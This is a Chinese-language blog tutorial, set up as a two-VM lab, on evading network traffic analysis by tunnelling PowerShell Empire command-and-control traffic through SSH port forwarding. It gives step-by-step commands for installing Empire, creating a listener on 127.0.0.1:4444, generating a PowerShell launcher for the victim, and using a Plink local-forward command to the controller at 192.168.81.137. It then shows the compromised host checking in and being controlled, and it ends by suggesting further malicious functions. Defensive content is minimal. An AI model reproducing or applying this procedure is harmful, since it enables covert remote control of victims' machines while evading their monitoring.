利用SSH隧道加密技術隱蔽C&C通訊流量
在網路攻防博弈中,網路流量特徵分析類安全防禦措施得到了廣泛應用。眾多廠商和企業對網路流量進行惡意流量分析檢測,從而針對性的採取防禦措施,如各級ISP在骨幹網路裝置上大多采用網路流量分析檢測的防禦方案。 |
在網路攻防博弈中,網路流量特徵分析類安全防禦措施得到了廣泛應用。眾多廠商和企業對網路流量進行惡意流量分析檢測,從而針對性的採取防禦措施,如各級ISP在骨幹網路裝置上大多采用網路流量分析檢測的防禦方案。
本文想透過標準的SSH的埠轉發建立SSH形式的加密隧道,用於加密、隱蔽傳輸惡意流量,從而避免透過流量檢測發現惡意行為。復現實驗部分以C&C通訊流量為例進入實驗。透過SSH隧道進行加密和隱藏的C&C流量在外部流量特徵分析僅表現為標準SSH流量。
本次實驗使用Empire工具快速搭建C&C通道,本文只簡要介紹對於Empire工具。在Windows平臺下使用Plink.exe工具的SSH功能搭建SSH隧道。
SSH 會自動加密和解密所有 SSH 客戶端與服務端之間的網路資料。但是, SSH 還能夠將其他 TCP 埠的網路數 據透過 SSH 連結來轉發,並且自動提供了相應的加密及解密服務。這一過程也被叫做“隧道”( tunneling),這是因 為 SSH 為其他 TCP 連結提供了一個安全的通道來進行傳輸而得名。SSH隧道的實現主要使用SSH的引數配置進行端 口轉發,即將所需傳輸的資料內容透過加密的SSH隧道進行轉發。 SSH 埠轉發能夠提供兩大功能:1、加密 SSH Client 端至 SSH Server 端之間的通訊資料。2、突破防火牆的限制完成一些之前無法建立的 TCP 連線。
由於SSH的安全性,在資料跨越公網時其他人無法得知資料內容。SSH埠轉發有本地轉發、遠端轉發和動態端 口轉發三種。本次實驗主要以本地轉發為例。
(1) 第1部分,-L選項表示使用“本地轉發”建立ssh隧道。“本地轉發”表示本地的某個埠上的通訊資料會被轉發到目標主機的對應埠。
(2) 第2部分表示:通訊資料會從本地的9906埠上被轉發,最終被轉發到10.1.0.2的3306埠。
(3) 第3部分表示:我們建立的ssh隧道是連線到10.1.0.2上的root使用者。
Empire是一個針對windows平臺、提供從Stager生成到提取和滲透維持一系列功能齊全的滲透攻擊框架,其最 大的特點是以Power 作為攻擊載荷,而且Empire實現了無需power .exe就可執行PowerShell代理功 能,即它是一個純粹的PowerShell後期漏洞利用代理工具。快速部署後期漏洞利用模組,內建模組有鍵盤記錄、 Mimikatz、繞過UAC、內網掃描等等,並且能夠適應通訊躲避網路檢測和大部分安全防護工具的查殺,簡單來說 Empire類似於滲透神器Metasploit,是一個基於PowerShell的遠端控制木馬。
在實驗虛擬 中安裝
git clone 進入setup目錄進行命令列安裝 cd Empire cd setup sudo ./install.sh
安裝成功後,確認Empire目錄下所有檔案(目錄)如下圖:
使用
./empire
啟動Empire如下圖,則成功安裝。
實驗說明:使用兩臺虛擬機器ubuntu16 + windows 7,其中ubuntu16模擬控制端,windows 7模擬受控主機。
(1) 安裝Open-SSH Server端
sudo apt-get install openssh-server
(2) 配置SSH Server端
編輯
/etc/ssh/sshd_config
檔案中允許口令登入PermitRootLogin配置如下圖:
(3) 測試SSH登入是否成功
檢視本機IP(
:ifconfig),如在windows下的XShell工具下輸入Server IP 輸入登入名和密碼,成功登入系統則SSH Server端搭建成功。
注:需要重啟sshd服務:/etc/init.d/ssh resar
(4) 配置RSA金鑰對認證登入
a) 生成rsa金鑰對
ssh-keygen -t rsa
b) 開啟sshd支援RSA認證選項,並新增認證公鑰路徑地址
c) 編輯/etc/ssh/sshd_config檔案中的PubkeyAuthentication選項配置為yes,即:
d) 複製公鑰到某使用者home目錄下的.ss件夾下,注必須使用以下命令在受控主機(本次實驗使用win 7進行模擬)進行復制,否則檔案許可權設定易出錯。
ssh-copy-id -i id_rsa.pub 主機登入使用者名稱@192.168.81.137
e) 使用私鑰進行登入ssh登入
ssh -i 私鑰路徑 主機登入使用者名稱@192.168.81.137
注:使用putty、winscp等工具時需要先使用對應平臺工具進行rsa私鑰匯入後轉化為相對應檔案格式,如本次實驗使用putty工具匯入生成私鑰檔案sshrsa.ppk。
Empire工具類似Metasploit,詳細使用教程可參考一篇文章精通PowerShell Empire。
本次實驗使用Empire生成簡單的PowerShell指令碼,建立最簡單的C&C通訊。下面簡單概括主要步驟。
(1) 設定監聽
listeners #進入的介面下可輸入list檢視以設定的監聽 uselistener http #輸入 info檢視必填引數 set Name 4444 #本次實驗透過SSH隧道通訊,因此設定監聽127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #建立命為4444的監聽,監聽127.0.0.1:4444上通訊資料
示例如下:
(2) 生成簡單的PowerShell利用指令碼(針對windows)
launcher powershell 4444 # 4444為設定的監聽名字 #可進入tagers生成其他木馬、遠控程式,本次實驗直接生成最簡單PowerShell利用指令碼
注:生成的Powershell程式碼直接複製並儲存,以備在受控windows主機(win7、win10)執行。
(1) windows下使用Plink.exe(putty工具集中可以在windows系統下使用命令列進行SSH連線)連線SSHServer
#需要首先進入Plink.exe檔案所在路徑
Plink.exe -ssh -l
登入使用者名稱
-pw
登入密碼
SSH
主機
IP
(2) Plink相關引數
-ssh 指定使用特定連線協議 -l 指定登入使用者名稱 -i 指定RSA私鑰登入 -L 本地轉發
(3) Plink埠轉發設計
plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444
將本地埠(4444)轉發到遠端目標主機(192.168.81.137)的目標埠(4444)。
注意:以上命令執行成功後,需要保持命令列不要關閉。同時可以組合使用SSH的其他引數進行後臺執行、不互動等。
(4) 使用(2)中生成的PowerShell指令碼,使受控主機上線
a) windows 7虛擬機器另外開啟一個CMD視窗,複製PowerShell指令碼執行。可以看到受控主機以上線。
5) ubuntu端切換到agents介面,list命令檢視如圖:
6) 透過interact命令則可以使用以建立的控制通道控制受控主機,如透過簡單的ls命令測試成功如下圖:
7) 至此以成功使用SSH隧道傳輸C&C通訊流量,後續可在此基礎上設計實現其他C&C控制命令及其它惡意功能。
透過本次實驗可以看出,攻擊者可以利用類似SSH的公共服務或可用技術輔助攻擊,且其實現也非常容易。
(1) 搭建SSH服務,並配置為RSA私鑰登入(也可以配置為免密登入)。
(2) 使用工具(如Empire、Metasploit等)構建C&C。
(3) 利用SSH的埠轉發搭建SSH隧道。
(4) 配置C&C和SSH引數使二者配合實現加密、隱藏惡意流量的目的。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31559985/viewspace-2652136/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 學習內網安全--隱蔽隧道通訊技術內網
- 內網-隱藏隧道通訊技術,場景復現(ICMP隧道)內網
- 利用DNS隧道通訊木馬分析DNS
- DNS Tunnel隧道隱蔽通訊實驗 && 嘗試復現特徵向量化思維方式檢測DNS特徵
- ICMP隱蔽隧道攻擊分析與檢測(二)
- ICMP隱蔽隧道攻擊分析與檢測(三)
- ICMP隱蔽隧道攻擊分析與檢測(四)
- 【技術向】SSH加密隧道流量攻擊與檢測技術加密
- 【技術向】利用ShadowMove巧妙的隱蔽連線
- ssh埠轉發(ssh隧道)
- 除錯利器-SSH隧道除錯
- SSH 隧道遠端連線
- SSH反向隧道的工作原理
- 隱蔽的秩序-讀書筆記筆記
- 線上視訊網站加密技術詳解網站加密
- 融雲網際網路通訊安全系列之端到端加密技術加密
- 加密技術加密
- 如何通過反向 SSH 隧道訪問 NAT 後面的 Linux 伺服器Linux伺服器
- 程式間通訊如何加鎖
- "ssh 反向隧道 實現內網穿透內網穿透
- go語言實現ssh打隧道Go
- SSH好用的隧道原理解析功能
- 資訊加密技術加密
- 簡單又較隱蔽的PHP後門PHP
- python Trojan 模組(我忘記幾了)—— 通訊隧道建立Python
- 設定 SSH 隧道(埠轉發)實戰
- 使用SSH反向隧道進行內網穿透內網穿透
- 13、利用 ICMP 隧道穿透防火牆穿透防火牆
- 利用SQL實現通訊錄SQL
- 古老的加密技術加密
- 淺談加密技術加密
- 現代加密技術加密
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)
- 隱形通訊錄:全新iOS通訊錄應用概念設計iOS
- Oracle Weblogic叢集啟動通過HTTP等協議進行隧道通訊OracleWebHTTP協議
- 基於隱私保護技術的DNS通訊協議介紹DNS協議
- DNS隧道技術解析DNS
- 2、HTTP隧道技術HTTP